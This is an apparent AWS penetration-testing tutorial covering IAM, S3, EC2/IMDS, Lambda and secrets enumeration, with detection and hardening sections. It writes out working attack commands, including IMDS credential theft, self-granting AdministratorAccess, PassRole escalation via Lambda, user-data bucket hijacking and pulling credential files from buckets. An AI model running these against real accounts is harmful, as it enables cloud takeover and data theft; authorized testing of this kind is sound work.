AWS Pentesting: IAM, S3, EC2, IMDS, and Privilege Escalation

AWS Operational Pentesting: Enumerate IAM, S3, EC2, Lambda, and IMDS with AWS CLI, Pacu, ScoutSuite, and Prowler; find misconfigurations and privilege escalation paths.
- Posted on 2026-08-22
- Reading time: 11 min
AWS Cloud Pentesting: IAM, S3, EC2, IMDS and Privilege Escalation #
AWS is one of the most popular cloud platforms, and a misconfiguration of IAM, S3, EC2, or serverless services can result in a full-blown privilege escalation. In an AWS cloud pentest, the goal is not just to find exposed resources, but to understand what permissions an identity has, what escalation paths are available, and what the actual blast radius of a compromise would be. This guide covers enumeration and exploitation with the native AWS CLI first, followed by external tools (Pacu, ScoutSuite, Prowler).
When to use it: Authorized cloud pentests, cloud security assessments, HTB/CTF labs with AWS components. What it covers: IAM, STS, S3, EC2/IMDS, Lambda, RDS, Secrets Manager, ECR, KMS. What it doesn't cover: Kubernetes/EKS, Azure, GCP, deep dive into multi-account AWS Organizations—topics for dedicated articles.
What is an AWS Cloud Pentest? #
An AWS cloud pentest verifies whether the actual configuration of the environment—IAM, S3, EC2, serverless services, networking—exposes unintended access paths, in addition to typical application vulnerabilities. It can be conducted in a black-box (without credentials, only enumeration of public resources), grey-box (with low-privilege credentials, to test escalation), or white-box (full access to the configuration, typical of an internal security assessment). The underlying theme is always the same: identity → permissions → escalation paths → blast radius.
AWS Attack Surface: What to Check #
| Service | What to look for |
|---|---|
| I AM | Overprivileged policy, trust relationship, path of privilege escalation |
| STS | Assumable roles, temporary sessions, role chaining |
| S3 | Public buckets, ACLs, bucket policies, write permissions |
| EC2 | Security groups too permissive, IMDS, role assigned to the instance |
| Lambda | Environment variable, execution role, downloadable source code |
| RDS | Public snapshots, network access |
| Secret Manager | Secrets accessible with current policies |
| ECR | Public repositories, images with hardcoded secrets |
| KMS | Key policies too permissive, cross-account access |
| Organizations | Cross-account trust |
| CloudTrail / GuardDuty | What is actually logged and detected |
Setup and Installation #
For up-to-date guidance, please use the official AWS CLI v2 installer instead of the package. awscli via pip, which is the legacy v1:
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
aws --version
aws configure
# AWS Access Key ID, Secret Access Key, region, output formatAWS Credential Discovery #
Before you leave, check if you already have credentials available on the system you are using:
# File di configurazione locali
cat ~/.aws/credentials
cat ~/.aws/config
# Variabili d'ambiente
env | grep '^AWS_'With keys found during a pentest (file .env, Git repository, log — see LinEnum on HackIta as they are found on Linux, or Waybackurls on HackIta (to find them in publicly exposed historical JS):
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYAlways search the repositories for patterns AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN.
Beware of canary tokens #
Some companies plant fake AWS keys (canary tokens) in repositories or configuration files. If you use them, it immediately alerts the security team. Before using a found key, verify that it isn't a canary—HackTricks maintains a dedicated page on how to identify them.
Recon Without Noise #
Every AWS API call that touches a resource can end up in CloudTrail. However, actual coverage depends on the type of event and how CloudTrail is configured: management events are logged by default, while data events (e.g., access to individual S3 objects) often require explicit configuration and aren't guaranteed. Don't assume everything is always tracked, but don't assume the opposite either.
Low-noise (safe to cast first):
sts:GetCallerIdentity,sts:GetAccessKeyInfo— no action on resources, only identitys3api get-bucket-acl --no-sign-request— read-only, anonymous, does not affect your accountiam:List*/iam:Get*about your identity — enumeration of your own permissions, expected behavior of any user
Noisy (generate alerts with low thresholds):
iam__privesc_scanby Pacu — dozens of callsiam:Simulate*in rapid sequence, recognizable pattern- ScoutSuite/Prowler full scans — hundreds of calls
Describe*/List*on all services and regions in just a few minutes - Repeated failed write attempts (
PutObject,AttachUserPolicy) on resources where you don't have permissions — everyAccessDeniedis logged in and a repeating pattern is a classic IOC
Rule of thumb: Targeted manual enumeration when stealth really matters (red team with in-scope detection); automated tool when coverage matters more than discretion (white-box assessment with agreed-upon time window).
IAM Enumeration #
Identify the current identity #
First command, always, before touching any resource:
aws sts get-caller-identityReturns the account ID and ARN of the user/role. This tells you whether you're an IAM user, an assumed role, or the keys for a service (Lambda, EC2 instance role).
Check if a found key is still active (without touching resources) #
aws sts get-access-key-info --access-key-id AKIA1234567890123456Returns the Account ID associated with the key without doing any logged actions as “suspicious” — useful for validating a key found during OSINT/recon before actually using it.
Enumerate users, roles, and groups #
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam get-account-authorization-detailsget-account-authorization-details Download users, roles, groups, and policies in one go — useful for offline analysis of trust relationships without constantly querying the API.
Analyze IAM policies #
aws iam list-attached-user-policies --user-name current-user
aws iam list-user-policies --user-name current-user
aws iam get-policy-version --policy-arn <policy-arn> --version-id v1This tells you exactly what you can do before you generate noise in your CloudTrail logs with random requests.
AWS STS and AssumeRole #
STS (Security Token Service) issues temporary credentials when an identity assumes a role. This is the mechanism underlying much cross-account access and many privilege escalation chains:
Identità A → sts:AssumeRole → Role B → permessi di Role B (credenziali temporanee)aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/NOME-RUOLO --role-session-name pentest-sessionA role can only be assumed if its trust policy explicitly allows it for your identity (or a broader principal, such as the entire account). It's always worth reading the trust policy for each role you're interested in, not just its permissions—sometimes escalation occurs through that, not through direct permissions.
Search for IAM privilege escalation #
There are over 20 known IAM escalation paths (policies that allow you to modify your own policies, create new access keys for other users, and pass roles with higher permissions). Dedicated tool:
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
python3 pacu.py
Pacu (session_name) > run iam__privesc_scaniam__privesc_scan Automatically tests all known permission combinations for escalation on the current identity.
The most common escalation paths #
| Permit | Possible impact |
|---|---|
iam:AttachUserPolicy | you attach a more privileged managed policy to yourself |
iam:PutUserPolicy | same idea, with an inline policy instead of a managed one |
iam:CreateAccessKey | create a new access key for another, more privileged user |
iam:PassRole + a service that runs code (Lambda, EC2, Glue, CloudFormation) | you pass a role with more privileges to a resource you control |
iam:UpdateLoginProfile | reset another user's console password |
sts:AssumeRole on a trusted role | access the permissions of that role directly |
# Esempio: sfruttare AttachUserPolicy su se stessi
aws iam attach-user-policy --user-name mio-utente --policy-arn arn:aws:iam::aws:policy/AdministratorAccess# Esempio: PassRole + Lambda per eseguire codice con un ruolo più privilegiato
aws lambda create-function --function-name privesc \
--runtime python3.12 --role arn:aws:iam::ACCOUNT_ID:role/RUOLO-PIU-PRIVILEGIATO \
--handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name privesc output.jsonMap trust relationships automatically #
pip3 install principalmapper --break-system-packages
pmapper graph create
pmapper graph display
pmapper query "who can do iam:AttachUserPolicy"PMapper builds a graph of all users/roles and shows non-obvious escalation paths — useful when iam__privesc_scan it is not enough because the escalation involves several steps (chain assumptions).
S3: Enumeration and Exploitation #
ACL vs. Bucket Policy #
An S3 bucket can be made public in multiple independent ways: an ACL (legacy object/bucket-level permissions), a bucket policy (bucket-level JSON policy, the modern and more granular mechanism), or the lack of S3 Block Public Access at the account level. Verifying just one isn't enough—a bucket can have a restrictive bucket policy but a permissive ACL on individual objects, or vice versa.
Finding the buckets #
aws s3 ls
aws s3 ls s3://nome-bucket-scoperto --recursiveIf you don't have credentials, public S3 buckets are found by name (often pattern azienda-backup, azienda-assets, azienda-prod):
git clone https://github.com/initstring/cloud_enum.git
cd cloud_enum
python3 cloud_enum.py -k targetcorp --disable-azure --disable-gcpCheck permissions without authentication #
aws s3api get-bucket-acl --bucket nome-bucket --no-sign-request
aws s3api get-object-acl --bucket nome-bucket --key file.txt --no-sign-request
aws s3api get-bucket-policy --bucket nome-bucket --no-sign-request--no-sign-request Try logging in anonymously — if the bucket is public, it works without a key.
Bulk check on bucket list #
for bucket in $(cat buckets.txt); do
echo "--- $bucket ---"
aws s3api get-bucket-acl --bucket "$bucket" --no-sign-request 2>/dev/null
aws s3 ls s3://"$bucket" --recursive --no-sign-request 2>/dev/null
doneWritable bucket — verification upload (PoC, non-destructive) #
echo "PoC bucket scrivibile - HackIta" > poc.txt
aws s3 cp poc.txt s3://nome-bucket/poc.txt --no-sign-requestIf the upload succeeds to a public bucket, it's a critical finding: an attacker could be hosting malware or overwriting legitimate files.
Large-scale dedicated scanner #
python3 -m S3Scanner --threads 8 scan --buckets-file bucket-names.txtS3 as a vector of privacy, not just data leaks #
If you have s3:PutBucketPolicy On a bucket used by other services (e.g., CloudFormation template bucket, EC2 user-data bucket), you can hijack that service by changing the policy instead of simply reading the data:
aws s3api put-bucket-policy --bucket nome-bucket --policy file://policy.jsonCase in point: If an EC2 instance loads its user data from a writable S3 bucket, replace the content with arbitrary code—the instance will execute it on its next reboot with its IAM role privileges.
EC2: Security Group, IMDS, and Roles #
Security Group Enumeration #
aws ec2 describe-security-groups --region us-east-1What to look for in the output:
- incoming rules from
0.0.0.0/0(open to all internet) - SSH (22) or RDP (3389) publicly exposed
- exposed database ports (3306 MySQL, 5432 PostgreSQL, 27017 MongoDB, 6379 Redis)
- application rules that are broader than necessary (an entire subnet instead of the single host that should access it)
IMDS (Instance Metadata Service) #
If you have a shell on an EC2 instance (via SSRF on a web app, or direct access), the real target is the temporary credentials of the IAM role assigned to the instance.
IMDSv1 — no authentication required:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME-RUOLOThe second command returns AccessKeyId, SecretAccessKey e Token in clear — use them directly:
export AWS_ACCESS_KEY_ID=<valore>
export AWS_SECRET_ACCESS_KEY=<valore>
export AWS_SESSION_TOKEN=<valore>
aws sts get-caller-identityIMDSv2 — requires a token, reduces but does not eliminate risk:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME-RUOLOIMDSv2 reduces the risk of SSRF targeting the metadata service because it requires a token obtained via a PUT request with a specific header—a simple SSRF redirect is no longer sufficient. However, a sufficiently powerful SSRF vulnerability (capable of setting custom headers and a PUT method) can still reach IMDS. This is precisely the pattern behind the 2019 Capital One breach: SSRF in a web app → IMDS access → IAM credentials → S3 exfiltration. The SSRF reference is discussed in depth in HTTP and HTTPS on HackIta.
EC2 enumeration with valid credentials #
aws ec2 describe-instances --region us-east-1
aws ec2 describe-instances --region us-east-1 --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,SecurityGroups]'Lambda, RDS and Secrets #
Lambda #
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name NOME-FUNZIONE --region us-east-1get-function returns a presigned URL to download the function's source code — often containing hardcoded keys or internal business logic.
aws lambda get-function-configuration --function-name NOME-FUNZIONE --region us-east-1From this command check: environment variables (often containing secrets), assigned execution role, VPC membership, layers used, runtime, timeout, and memory — each of these can reveal an additional vector.
RDS #
aws rds describe-db-instances --region us-east-1
aws rds describe-db-snapshots --region us-east-1 --query 'DBSnapshots[?Attributes[?AttributeName==`restore`]]'Public RDS snapshots are as common a finding as public S3 buckets.
Secret Manager #
aws secretsmanager list-secrets --region us-east-1
aws secretsmanager get-secret-value --secret-id NOME-SECRET --region us-east-1ECR and KMS #
ECR (Elastic Container Registry) #
aws ecr describe-repositories --region us-east-1
aws ecr list-images --repository-name NOME-REPO --region us-east-1Check: repositories with public policy, outdated images with known vulnerabilities, hardcoded secrets in image layers, IAM permissions on repositories that are broader than necessary.
KMS #
aws kms list-keys --region us-east-1
aws kms get-key-policy --key-id KEY-ID --policy-name default --region us-east-1Check: key policy too permissive, permission kms:Decrypt Granted to large principals, cross-account access is unnecessary. A permissive key policy renders any other protection on data encrypted with that key useless—whoever can decrypt it essentially has access to the data.
Full Automated Scan #
Manual covers what you know you're looking for. Automated covers what you don't know you're looking for.
pip install scoutsuite --break-system-packages
scout aws --profile defaultScoutSuite is primarily a security auditing tool : it queries AWS APIs, collects configurations for each service (IAM, S3, EC2, RDS, Lambda), and presents them in an HTML report detailing the severity of the misconfigurations found. It's not an exploitation framework like Pacu—it's for mapping, not exploiting.
pip install prowler --break-system-packages
prowler awsProwler also covers compliance (CIS Benchmark, PCI-DSS, SOC2) in addition to pure misconfigurations.
Post-Exploitation: What to Do After First Access #
Finding a key or an escalation is the beginning, not the end. The real value lies in understanding the blast radius.
Search for other trusted accounts/roles:
aws organizations list-accounts
aws sts assume-role --role-arn arn:aws:iam::ALTRO-ACCOUNT-ID:role/OrganizationAccountAccessRole --role-session-name pivotIf your account is part of an Organization, a misconfigured cross-account role moves you to a whole other environment.
Extract data in a controlled manner (not an indiscriminate dump):
aws s3 sync s3://bucket-target ./evidenza-locale --exclude "*" --include "*.env" --include "*.config"For a professional report: Take only the files that demonstrate the impact (config with credentials, sample PII data), not the entire bucket — less noise, less risk, sufficient evidence.
Understand blast radius before writing the report:
aws iam simulate-principal-policy --policy-source-arn <arn-utente-compromesso> --action-names s3:DeleteBucket iam:DeleteUser ec2:TerminateInstancessimulate-principal-policy tells you what that identity is could do, without actually executing it — the difference between “I read a file” and “this account could have wiped out the entire infrastructure” is what makes a finding critical or medium in the report.
Validate a Finding Before Writing It in the Report #
Every finding must be confirmed with a practical test, not just hypothesized:
| Finding | How to confirm it |
|---|---|
| Public S3 Bucket | ACL/policy that says so + successful listing + upload attempt (non-destructive PoC) |
| Overprivileged IAM Policy | Don't just stick to the written policy — actually perform the suspicious action (e.g., attach-user-policy) and check that it passes |
| IMDS exposed | recovers the role e verify that the obtained token works with sts get-caller-identity |
| Secret exposed | recover the value e confirm that it is still valid/in use, not a rotated or decommissioned secret |
A “theoretical” finding (the policy seems permissive) is worth much less than a “proven” finding (I performed the action and it worked) in a report that is meant to convince a client to invest in remediation.
Common Mistakes and What to Do #
| Error | Meaning | What to check |
|---|---|---|
AccessDenied | authenticated but without permissions | check the policy with simulate-principal-policy before trying again at random |
NoSuchBucket | The bucket does not exist with that name/region | Check exact region, S3 buckets are global in name but endpoint is regional |
InvalidClientTokenId | Access Key ID invalid or deleted | the key has been rotated/revoked, request a new one |
SignatureDoesNotMatch | Incorrect Secret Key or Desynchronized Clock | check the system time (date), that's often the problem |
UnauthorizedAccess | Deny's explicit policy | An explicit Deny always wins over an Allow, look for who enforces it (SCP or direct policy) |
Throttling | AWS rate limit | slow down requests, add retry with backoff |
ExpiredToken | STS/IMDS session expired | Regenerate the token, IMDS credentials typically last 6 hours |
AWS Pentest Detection: CloudTrail and GuardDuty #
| Activities | Typical telemetry |
|---|---|
| IAM Enumeration | CloudTrail (event management) |
AssumeRole | CloudTrail |
| Accessing S3 objects | CloudTrail data events, only if explicitly enabled |
| Lambda Invocation | CloudTrail and Application Logs |
| EC2 API Enumeration | CloudTrail |
| privilege escalation | CloudTrail |
| Access to IMDS | Host/application level telemetry, not CloudTrail |
GuardDuty analyzes these logs and correlates anomalous patterns (calls from unusual IPs, escalation attempts, use of IMDS credentials from outside the intended instance) — but its effectiveness depends on what CloudTrail actually recorded upstream.
Quick Hardening (Defensive Side) #
- Least privilege everywhere — policies written for specific action, never wildcards
*:* - IMDSv2 mandatory (
HttpTokens: required) on each EC2 instance - S3 Block Public Access active at the account level, not just a single bucket
- Multi-region CloudTrail + GuardDuty always active, with data events enabled on critical buckets
- MFA condition (
aws:MultiFactorAuthPresent) on destructive or sensitive actions - Permission boundary / SCP to limit maximum damage even if an IAM policy is wrong
Limitations and What Can Stop You #
- CloudTrail → logs event management by default; data events (granular access to S3/Lambda) must be explicitly enabled and are not guaranteed
- GuardDuty → detects anomalous patterns, but only on what CloudTrail and other source logs provide
- IMDSv2 mandatory (
HttpTokens: required) → the classic curl without token does not work anymore, you still need an SSRF capable of setting custom headers - SCP (Service Control Policies) at Organization level → they can block actions even if the local IAM policy would allow them
- MFA condition on sensitive stocks → some policies require
aws:MultiFactorAuthPresent: true, stolen static keys are not enough
Operational Workflow #
Chiavi trovate (repo, log, .env) o accesso a un'istanza EC2
↓
aws sts get-caller-identity
↓
Enumerazione IAM (permessi correnti, trust relationship)
↓
S3 / EC2 / Lambda / RDS / ECR / KMS enumeration
↓
ScoutSuite / Prowler (scan automatico)
↓
Pacu iam__privesc_scan / PMapper
↓
Escalation privilegi IAM / AssumeRole cross-account
↓
Accesso a dati sensibili / lateral movementMITRE ATT&CK (Cloud Matrix) #
| Tactics | Technology |
|---|---|
| CredentialAccess | T1552.005 — Cloud Instance Metadata API |
| Discovery | T1580 — Cloud Infrastructure Discovery |
| Privilege Escalation | T1078.004 — Valid Accounts: Cloud Accounts |
| Collection | T1530 — Data from Cloud Storage |
| Initial access | T1190 — Exploit Public-Facing Application (SSRF → IMDS) |
Full Matrix: MITER ATT&CK Cloud
Operational Checklist #
[ ] aws sts get-caller-identity — sapere chi sei prima di tutto
[ ] Credenziali locali (~/.aws, env AWS_*) verificate
[ ] Enumerazione IAM — policy, ruoli, trust relationship, AssumeRole
[ ] Pacu iam__privesc_scan / PMapper — cercare path di escalation noti
[ ] S3: bucket pubblici, ACL, bucket policy, permessi di scrittura
[ ] EC2: security group, IMDSv1/v2, credenziali del ruolo istanza
[ ] Lambda: codice sorgente, environment variable, ruolo di esecuzione
[ ] RDS: snapshot pubblici
[ ] Secrets Manager: secret accessibili con le policy correnti
[ ] ECR/KMS: repository e key policy
[ ] ScoutSuite / Prowler per la vista d'insieme
[ ] Verifica CloudTrail/GuardDuty se il test richiede stealthFAQ #
Do I always need an AWS key to start a cloud pentest?
No. Many S3 buckets are accessible anonymously with --no-sign-request, and an SSRF on an EC2 app can give you temporary credentials via IMDS without you ever having a key.
Is Pacu legal to use? Yes, it's an open-source framework designed for authorized assessments. Like any malicious tool, it should only be used on AWS accounts you own or with explicit written authorization.
Does IMDSv2 make your account immune to credential theft? No, it reduces the surface area (you need an SSRF capable of setting custom headers and a PUT method; a simple redirect won't do), but it doesn't eliminate the risk. It should always be combined with IAM least privilege.
What is the first command you should always run, without exception?
aws sts get-caller-identityBefore any action, know exactly who you are and which account you are trading with.
What's the difference between ScoutSuite and Pacu? ScoutSuite is a security auditing tool that maps configurations and misconfigurations. Pacu is an active exploitation framework that attempts to exploit them. They are used sequentially: first ScoutSuite for the overview, then Pacu to validate escalation paths.
What is IAM privilege escalation?
Using legitimate but misconfigured IAM permissions (such as iam:AttachUserPolicy o iam:PassRole) to obtain more permissions than expected, without exploiting a vulnerability in the classic sense.
How do I check if an S3 bucket is public? By checking the ACLs, bucket policies, and the S3 Block Public Access setting—none of these alone provides the complete answer; they need to be checked together.
What is IMDSv2? The version of the EC2 metadata service that requires a token obtained with a PUT request before role credentials can be read—this reduces but does not eliminate SSRF risk to IMDS.
How do I verify the permissions of a compromised AWS key?
With aws sts get-caller-identity for identity, then iam:List*/iam:Get* on its policies, and iam simulate-principal-policy to understand what it can actually do without running it.
Official Documentation: AWS Security Best Practices . For the SSRF phase leading to IMDS, see HTTP and HTTPS on HackIta and Penetration Testing Tool on HackIta.
#aws #cloud-security #iam #s3








